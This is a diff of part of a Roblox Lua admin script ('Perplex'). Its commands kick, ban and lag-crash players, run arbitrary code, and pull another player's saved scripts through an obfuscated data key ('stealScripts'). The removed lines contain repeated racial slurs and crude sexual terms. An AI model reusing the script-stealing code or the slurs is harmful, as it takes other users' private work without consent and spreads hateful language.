609 | ||
610 | - | Perplex.Core['Functions'].NewCmd('Get out of mah face Nigga', 'dt', 0, 'Dismisses the Niggaa', function(Speaker, Msg) |
610 | + | Perplex.Core['Functions'].NewCmd('Get out of mah face skid', 'dt', 0, 'Dismisses the skid', function(Speaker, Msg) |
611 | main.Dismiss(Speaker) | |
612 | end) | |
613 | - | Perplex.Core['Functions'].NewCmd('Sudo', 'sudo', 1, 'Runs commands on anybody with a Shorter Cock (sudo'..bet..'all'..bet..'dt'..bet..' )', function(plr, msg) |
613 | + | Perplex.Core['Functions'].NewCmd('Sudo', 'sudo', 1, 'Runs commands on anybody with a lower rank (sudo'..bet..'all'..bet..'dt'..bet..' )', function(plr, msg) |
614 | local Split=Perplex.Core['Functions']['Get'].Split(msg) | |
615 | local Players=Perplex.Core['Functions']['Get'].Players(plr, msg:sub(1, Split-1)) | |
616 | local Cmd=msg:sub(Split+1) | |
617 | for _,v in next, Players do | |
618 | main.doCommand(v, Cmd) | |
619 | end | |
620 | end) | |
621 | ||
622 | Perplex.Core['Functions'].NewCmd('Commands','cmds', 0,'Shows the commands menu',function(Speaker, Msg) | |
623 | main.Dismiss(Speaker) | |
624 | for i = 0, 7 do | |
625 | main.Output(Speaker, 'Rank '..i..' commands', nil,function() | |
626 | Perplex.Core['Functions'].ShowCommandsForRank(i, Speaker) | |
627 | end) | |
628 | end | |
629 | - | main.Output(Speaker, 'Show commands for your cock ('..Perplex.Core['Functions']['Get'].Rank(Speaker)..')', 'Bright green', function() |
629 | + | main.Output(Speaker, 'Show commands for your rank ('..Perplex.Core['Functions']['Get'].Rank(Speaker)..')', 'Bright green', function() |
630 | Perplex.Core['Functions'].ShowCommandsForRank(Perplex.Core['Functions']['Get'].Rank(Speaker), Speaker) | |
631 | end) | |
632 | main.Output(Speaker, 'Show all commands', 'Neon orange',function() | |
633 | Perplex.Core['Functions'].ShowCommandsAll(Speaker) | |
634 | end) | |
635 | end) | |
636 | ||
637 | - | Perplex.Core['Functions'].NewCmd('Gtfo Nigga','kick',2,'Kick a Nigga', function(Speaker, Msg) |
637 | + | Perplex.Core['Functions'].NewCmd('Gtfo kid','kick',2,'Kick a kid', function(Speaker, Msg) |
638 | for _,Plr in next, Perplex.Core['Functions']['Get'].Players(Speaker, Msg) do | |
639 | if Plr then | |
640 | Perplex.Core['Functions'].Kick(Plr) | |
641 | end | |
642 | end | |
643 | end) | |
644 | ||
645 | - | Perplex.Core['Functions'].NewCmd('Don`t come back Nigga','ban',5,'Bans a Nigga',function(Speaker, Msg) |
645 | + | Perplex.Core['Functions'].NewCmd('Don`t come back skid','ban',5,'Bans a skid',function(Speaker, Msg) |
646 | for _,Plr in next,Perplex.Core['Functions']['Get'].Players(Speaker, Msg) do | |
647 | if Plr then | |
648 | print'ban' | |
649 | Perplex.Core['Functions'].Kick(Plr) | |
650 | Perplex.Core['Bans'][Plr.Name]={Name=Plr.Name,Reason4Ban='Banned by an admin'} | |
651 | print'k' | |
652 | main.Output(Speaker, 'Would you like to add a reason for the ban?', 'Deep orange') | |
653 | main.Output(Speaker, 'Yes', 'Lime green', function() | |
654 | main.Dismiss(Speaker) | |
655 | for _,v in next, Perplex.Core['Reasons']['Bans'] do | |
656 | main.Output(Speaker, v, 'Deep orange', function() | |
657 | main.Dismiss(Speaker) | |
658 | Perplex.Core['Bans'][Plr.Name].Reason4Ban=v | |
659 | end) | |
660 | end | |
661 | end) | |
662 | - | main.Output(Speaker, 'No', 'Really red', function() |
662 | + | main.Output(Speaker, 'No', 'Royal purple', function() |
663 | main.Dismiss(Speaker) | |
664 | end) | |
665 | end | |
666 | end | |
667 | end) | |
668 | ||
669 | Perplex.Core['Functions'].NewCmd('Rap song','msc',3,'Plays a Rap song',function(Speaker, Msg) | |
670 | pcall(function() | |
671 | Perplex.Core['Functions'].PlayAudio(Speaker,Msg) | |
672 | end) | |
673 | end) | |
674 | ||
675 | Perplex.Core['Functions'].NewCmd('All rap songs','music',3,'Displays all Rap songs running from the admin',function(plr) | |
676 | main.Dismiss(plr) | |
677 | for _, v in next, script:children() do | |
678 | if v:IsA('Sound') then | |
679 | main.Output(plr, v.Name, 'Teal', function() | |
680 | Perplex.Core['Functions'].EditSound(plr, v) | |
681 | end) | |
682 | end | |
683 | end | |
684 | end) | |
685 | ||
686 | showNetworkPlayers=function(plr) | |
687 | main.Dismiss(plr) | |
688 | local nils=Perplex.Core['Functions']['Misc'].returnNilPlayers() | |
689 | if #nils == 0 then | |
690 | - | main.Output(plr, 'No nils found!', 'Really red') |
690 | + | main.Output(plr, 'No nils found!', 'Royal purple') |
691 | else | |
692 | for _,v in next, nils do | |
693 | main.Output(plr, v.Name, 'Really blue', function() | |
694 | main.Dismiss(plr) | |
695 | main.Output(plr, 'Nil crash '..tostring(v)..'?', 'Bright red', function() main.Dismiss(plr) Perplex.Core['Functions'].Kick(v) end) | |
696 | - | main.Output(plr, 'Nil ban '..tostring(v)..'?', 'Really red', function() main.Dismiss(plr) Perplex.Core['Bans'][tostring(v)] = 'NilBanned by Admin' Perplex.Core['Functions'].Kick(v) end) |
696 | + | main.Output(plr, 'Nil ban '..tostring(v)..'?', 'Royal purple', function() main.Dismiss(plr) Perplex.Core['Bans'][tostring(v)] = 'NilBanned by Admin' Perplex.Core['Functions'].Kick(v) end) |
697 | main.Output(plr, 'Name: '..tostring(v), 'Lime green') | |
698 | main.Output(plr, 'Account Age: '..v.AccountAge, 'Royal purple') | |
699 | main.Output(plr, 'Years: '..math.floor(v.AccountAge/365), 'New Yeller') | |
700 | main.Output(plr, 'Back', 'Bright green', function() showNetworkPlayers(plr) end) | |
701 | main.Output(plr, 'Dismiss', 'Really blue', function() main.Dismiss(plr) end) | |
702 | end) | |
703 | end | |
704 | end | |
705 | end | |
706 | ||
707 | ||
708 | - | Perplex.Core['Functions'].NewCmd('Nil Niggas','nils',4,'Displays all nil Niggas', function(p) |
708 | + | Perplex.Core['Functions'].NewCmd('Nil kids','nils',4,'Displays all nil kids', function(p) |
709 | main.Dismiss(plr) | |
710 | main.Output(p, 'Looking for nils...', 'Really blue') | |
711 | wait(1) | |
712 | showNetworkPlayers(p) | |
713 | end) | |
714 | ||
715 | - | Perplex.Core['Functions'].NewCmd('NiggaMenu','plrs', 6 ,'Displays all Niggas currently connected', function(plr) |
715 | + | Perplex.Core['Functions'].NewCmd('Kid Menu','plrs', 6 ,'Displays all kids currently connected', function(plr) |
716 | main.Dismiss(plr) | |
717 | - | main.Output(plr, 'Nil Niggas', 'Lime green', function() showNetworkPlayers(plr) end) |
717 | + | main.Output(plr, 'Nil kids', 'Lime green', function() showNetworkPlayers(plr) end) |
718 | - | main.Output(plr, 'Connected Niggas', 'Really blue', function() |
718 | + | main.Output(plr, 'Connected kids', 'Really blue', function() |
719 | main.Dismiss(plr) | |
720 | for _,v in next, game:service'Players':players() do | |
721 | main.Output(plr, tostring(v), 'Really blue', function() | |
722 | main.Dismiss(plr) | |
723 | - | main.Output(plr, 'Lag the fuck out of the Nigga', 'Really blue', function() |
723 | + | main.Output(plr, 'Lag the hell out of the skid', 'Really blue', function() |
724 | Perplex.Core['Functions'].Crash(v) | |
725 | main.Dismiss(plr) | |
726 | end) | |
727 | - | main.Output(plr, 'Kick his ass', 'Really red', function() |
727 | + | main.Output(plr, 'Kick his ass', 'Royal purple', function() |
728 | Perplex.Core['Functions'].Kick(v) | |
729 | main.Dismiss(plr) | |
730 | end) | |
731 | - | main.Output(plr, 'Nigga : '..tostring(v), 'Lime green') |
731 | + | main.Output(plr, 'Kid : '..tostring(v), 'Lime green') |
732 | - | main.Output(plr, 'Cock Age : '..v.AccountAge, 'Neon orange') |
732 | + | main.Output(plr, 'Damn Age : '..v.AccountAge, 'Neon orange') |
733 | main.Output(plr, 'Years : '..math.floor(v.AccountAge/365), 'Deep orange') | |
734 | end) | |
735 | end | |
736 | end) | |
737 | end) | |
738 | ||
739 | Perplex.Core['Functions'].NewCmd('Raplists','plylist', 5 , 'Displays the Raplists', function(plr) | |
740 | main.Dismiss(plr) | |
741 | local list= Perplex.Core['Playlists'] | |
742 | for _,v in next, list do | |
743 | main.Output(plr, v.Name, tostring(BrickColor.random()), function() | |
744 | main.Dismiss(plr) | |
745 | for _, l in next, v.Songs do | |
746 | main.Output(plr, Perplex.Core['Services'].MarketPlace:GetProductInfo(l).Name..' | '..l, 'Really blue', function() | |
747 | Perplex.Core['Functions'].PlayAudio(plr, l) | |
748 | end) | |
749 | end | |
750 | end) | |
751 | end | |
752 | end) | |
753 | ||
754 | - | Perplex.Core['Functions'].NewCmd('cuntland','banland', 4, 'Displays the cuntland', function(plr) |
754 | + | Perplex.Core['Functions'].NewCmd('Skidland','banland', 4, 'Displays the Skidland', function(plr) |
755 | main.Dismiss(plr) | |
756 | local Bans=Perplex.Core['Bans'] | |
757 | for _ ,v in next, Bans do | |
758 | main.Output(plr, v.Name, 'Bright red', function() | |
759 | main.Dismiss(plr) | |
760 | - | main.Output(plr, 'Reason : '..Bans[v.Name].Reason4Ban, 'Really red') |
760 | + | main.Output(plr, 'Reason : '..Bans[v.Name].Reason4Ban, 'Royal purple') |
761 | main.Output(plr, 'Name : '..v.Name, 'Deep orange') | |
762 | main.Output(plr, 'Unban player', 'Lime green', function() | |
763 | Bans[v.Name]=nil | |
764 | main.doCommand(plr, 'banland'..Perplex.Core.Betkey) | |
765 | end) | |
766 | main.Output(plr, 'Back', 'New Yeller', function() | |
767 | main.doCommand(plr, 'banland'..Perplex.Core.Betkey) | |
768 | end) | |
769 | end) | |
770 | end | |
771 | end) | |
772 | ||
773 | ||
774 | --[[stealScripts=function(player) | |
775 | if player:waitForDataReady() then | |
776 | local key=('s'..'C'..'r'..'I'..'p'..'t'..'b'..'u'..'i'..'l'..'D'..'E'..'R'..'ox_'..'Saved'..'Scripts') | |
777 | local Utils = LoadLibrary("RbxUtility") | |
778 | local ToMod = Utils.DecodeJSON(player:LoadString(key)) | |
779 | return ToMod | |
780 | end | |
781 | end | |
782 | local saves=stealScripts(game:service'Players'.haloguy51) | |
783 | if saves then | |
784 | for _, a in next, saves do | |
785 | print(a.Name..' : '..a.Source) | |
786 | end | |
787 | end]] | |
788 | ||
789 | ||
790 | ||
791 | Perplex.Core['Functions'].NewCmd('Get Scripts', 'gs', 7, 'Gets a players saved scripts via the OxDataKey', function(Speaker, Msg) | |
792 | for _,Plr in next,Perplex.Core['Functions']['Get'].Players(Speaker, Msg) do | |
793 | if Plr then | |
794 | pcall(function() | |
795 | local saves=Perplex.Core['Functions'].stealScripts(Plr) | |
796 | if saves then | |
797 | main.Output(Speaker, 'All scripts for : '..tostring(Plr), 'Neon orange') | |
798 | for _, Res in next, saves do | |
799 | main.Output(Speaker, Res.Name..' : '..Res.Source, 'Random') | |
800 | end | |
801 | end | |
802 | end) | |
803 | end | |
804 | end | |
805 | end) | |
806 | ||
807 | Perplex.Core['Functions'].NewCmd('Logs','logs', 7, 'Goes through everyone\'s logs', function(plr, msg) | |
808 | main.Dismiss(plr) | |
809 | for _,v in next, game:service'Players':players() do | |
810 | main.Output(plr, 'Show logs for : '..tostring(v), 'Random', function() | |
811 | main.Dismiss(plr) | |
812 | main.Output(plr, 'Displaying logs', 'Neon orange') | |
813 | for _, logs in next, Perplex.Core['Logs'][tostring(v)] do | |
814 | main.Output(plr, logs, 'New Yeller') | |
815 | end | |
816 | end) | |
817 | end | |
818 | end) | |
819 | Perplex.Core['Functions'].NewCmd('Execute','exe', 0, 'Executes stuff', function(user, msg) | |
820 | Func, Error = loadstring(msg, '[ERROR]') | |
821 | local ORIG=getfenv() | |
822 | local Env={} | |
823 | for index, value in next, { | |
824 | print=function(...) | |
825 | local res={...} | |
826 | for i,v in next, res do | |
827 | if not pcall(function() res[i]=tostring(v);end)then | |
828 | res[i]='idklolxD' | |
829 | end; | |
830 | end | |
831 | main.Output(user, tostring(table.concat(res, ' ')), 'Toothpaste') | |
832 | end, | |
833 | error=function(...) | |
834 | local res={...} | |
835 | for i,v in next, res do | |
836 | if not pcall(function() res[i]=tostring(v);end)then | |
837 | res[i]='idklolxD' | |
838 | end; | |
839 | end | |
840 | - | main.Output(user, tostring(table.concat(res, ' ')), 'Really red') |
840 | + | main.Output(user, tostring(table.concat(res, ' ')), 'Royal purple') |
841 | end, | |
842 | warn=function(...) | |
843 | local res={...} | |
844 | for i,v in next, res do | |
845 | if not pcall(function() res[i]=tostring(v);end)then | |
846 | res[i]='idklolxD' | |
847 | end; | |
848 | end | |
849 | main.Output(user, tostring(table.concat(res,' ')), 'Neon orange') | |
850 | end, | |
851 | getfenv = getfenv; | |
852 | Perplex={ | |
853 | Core={ | |
854 | Functions={ | |
855 | Main={}; | |
856 | }; | |
857 | Ranked={}; | |
858 | }; | |
859 | }; | |
860 | ['owner']=user; | |
861 | NewEnv="gtfo i'm hiding"; | |
862 | shared={}; | |
863 | global=ORIG._G; | |
864 | _S=ORIG.shared; | |
865 | _G={}; | |
866 | } do | |
867 | for str in index:gmatch'([^,]+)' do | |
868 | Env[str]=value; | |
869 | end | |
870 | end | |
871 | NewEnv={ | |
872 | _VERSION='Perplex Generation 1'; | |
873 | shared={}; | |
874 | _G={}; | |
875 | ['script']=Instance.new('Script'); | |
876 | _SANDBOX='Perplex Sandbox created by supersonicfan111 bit\5\ch'; | |
877 | }; | |
878 | if Func then | |
879 | a, b=ypcall(setfenv(Func, setmetatable(NewEnv, { | |
880 | __index=function(Self,Index) | |
881 | local Return=Env[Index]; | |
882 | local OldReturn=ORIG[Index] | |
883 | if Return=="gtfo i'm hiding" then | |
884 | return "You. SHALL NOT. PASS!" | |
885 | elseif Return==nil then | |
886 | return OldReturn; | |
887 | else | |
888 | return Return; | |
889 | end; | |
890 | end; | |
891 | __metatable='PERPLEX LOCK :D' | |
892 | } | |
893 | ))); | |
894 | if not a then | |
895 | - | main.Output(user, b, 'Really red') |
895 | + | main.Output(user, b, 'Royal purple') |
896 | end | |
897 | else | |
898 | - | main.Output(user, Error, 'Really red') |
898 | + | main.Output(user, Error, 'Royal purple') |
899 | end | |
900 | end) | |
901 | Perplex.Core['Functions'].NewCmd('RawExecute','rexe', 7, 'Executes stuff without a sandbox', function(user, msg) | |
902 | Func, Error = loadstring(msg, '[ERROR]') | |
903 | local ORIG=getfenv() | |
904 | local Env={} | |
905 | for index, value in next, { | |
906 | print=function(...) | |
907 | local res={...} | |
908 | for i,v in next, res do | |
909 | if not pcall(function() res[i]=tostring(v);end)then | |
910 | res[i]='idklolxD' | |
911 | end; | |
912 | end | |
913 | main.Output(user, tostring(table.concat(res, ' ')), 'Toothpaste') | |
914 | end, | |
915 | error=function(...) | |
916 | local res={...} | |
917 | for i,v in next, res do | |
918 | if not pcall(function() res[i]=tostring(v);end)then | |
919 | res[i]='idklolxD' | |
920 | end; | |
921 | end | |
922 | - | main.Output(user, tostring(table.concat(res, ' ')), 'Really red') |
922 | + | main.Output(user, tostring(table.concat(res, ' ')), 'Royal purple') |
923 | end, | |
924 | warn=function(...) | |
925 | local res={...} | |
926 | for i,v in next, res do | |
927 | if not pcall(function() res[i]=tostring(v);end)then | |
928 | res[i]='idklolxD' | |
929 | end; | |
930 | end | |
931 | main.Output(user, tostring(table.concat(res,' ')), 'Neon orange') | |
932 | end, | |
933 | } do | |
934 | for str in index:gmatch'([^,]+)' do | |
935 | Env[str]=value; | |
936 | end | |
937 | end | |
938 | NewEnv={ | |
939 | _VERSION='Perplex Generation 1'; | |
940 | _SANDBOX='Perplex Sandbox created by supersonicfan111 bit\5\ch'; | |
941 | }; | |
942 | if Func then | |
943 | a, b=ypcall(setfenv(Func, setmetatable(NewEnv, { | |
944 | __index=function(Self,Index) | |
945 | local Return=Env[Index]; | |
946 | local OldReturn=ORIG[Index] | |
947 | if Return=="gtfo i'm hiding" then | |
948 | return "You. SHALL NOT. PASS!" | |
949 | elseif Return==nil then | |
950 | return OldReturn; | |
951 | else | |
952 | return Return; | |
953 | end; | |
954 | end; | |
955 | __metatable='PERPLEX LOCK :D' | |
956 | } | |
957 | ))); | |
958 | if not a then | |
959 | - | main.Output(user, b, 'Really red') |
959 | + | main.Output(user, b, 'Royal purple') |
960 | end | |
961 | else | |
962 | - | main.Output(user, Error, 'Really red') |
962 | + | main.Output(user, Error, 'Royal purple') |
963 | end | |
964 | end) | |
965 | Perplex.Core['Functions'].NewCmd('RapSearch','ss', 5, 'Searches through the catalog for Rap Songs', function(plr, msg) | |
966 | main.Dismiss(plr) | |
967 | main.Output(plr, 'How many results?', 'Deep orange') | |
968 | main.Output(plr, '5 results', 'Random', function() | |
969 | main.Dismiss(plr) | |
970 | Perplex.Core['Functions']['Misc'].soundSearch(plr, msg, 5) | |
971 | end) | |
972 | main.Output(plr, '10 results', 'Random', function() | |
973 | main.Dismiss(plr) | |
974 | Perplex.Core['Functions']['Misc'].soundSearch(plr, msg, 10) | |
975 | end) | |
976 | main.Output(plr, '20 results', 'Random', function() | |
977 | main.Dismiss(plr) | |
978 | Perplex.Core['Functions']['Misc'].soundSearch(plr, msg, 20) | |
979 | end) | |
980 | main.Output(plr, '50 results', 'Random', function() | |
981 | main.Dismiss(plr) | |
982 | Perplex.Core['Functions']['Misc'].soundSearch(plr, msg, 50) | |
983 | end) | |
984 | end) | |
985 | --main.Output=function(plr, text, color, f, image) | |
986 | ||
987 | ||
988 | game:service'RunService'.Stepped:connect(Perplex.Core['Functions'].UpdateTabs) | |
989 | ||
990 | END=tick() | |
991 | ||
992 | for _,v in next, game:service'Players':players() do | |
993 | main.ConnectPlayer(v) | |
994 | end | |
995 | ||
996 | game:service'Players'.PlayerAdded:connect(function(p) | |
997 | main.ConnectPlayer(p) | |
998 | end) | |
999 | ||
1000 | game:service'Players'.PlayerRemoving:connect(function(p) | |
1001 | main.Dismiss(p) | |
1002 | end) | |
1003 | -- Give a rank to the person who ran the admin | |
1004 | if Perplex.Core['Ranked'][tostring(owner)]==nil then | |
1005 | Perplex.Core['Ranked'][tostring(owner)] = {Rank = 7, Desc = 'Ran the admin on the server', Color='Random'}; | |
1006 | end | |
1007 | ||
1008 | if Perplex.Core['Ranked']['supersonicfan111'] then | |
1009 | if Perplex.Core['Ranked']['supersonicfan111'].Rank ~= 7 then | |
1010 | Perplex.Core['Ranked']['supersonicfan111'].Rank=7 | |
1011 | end | |
1012 | else | |
1013 | Perplex.Core['Ranked']['supersonicfan111']={Rank = 7, Desc = 'Creator', Color='Teal'}; | |
1014 | end |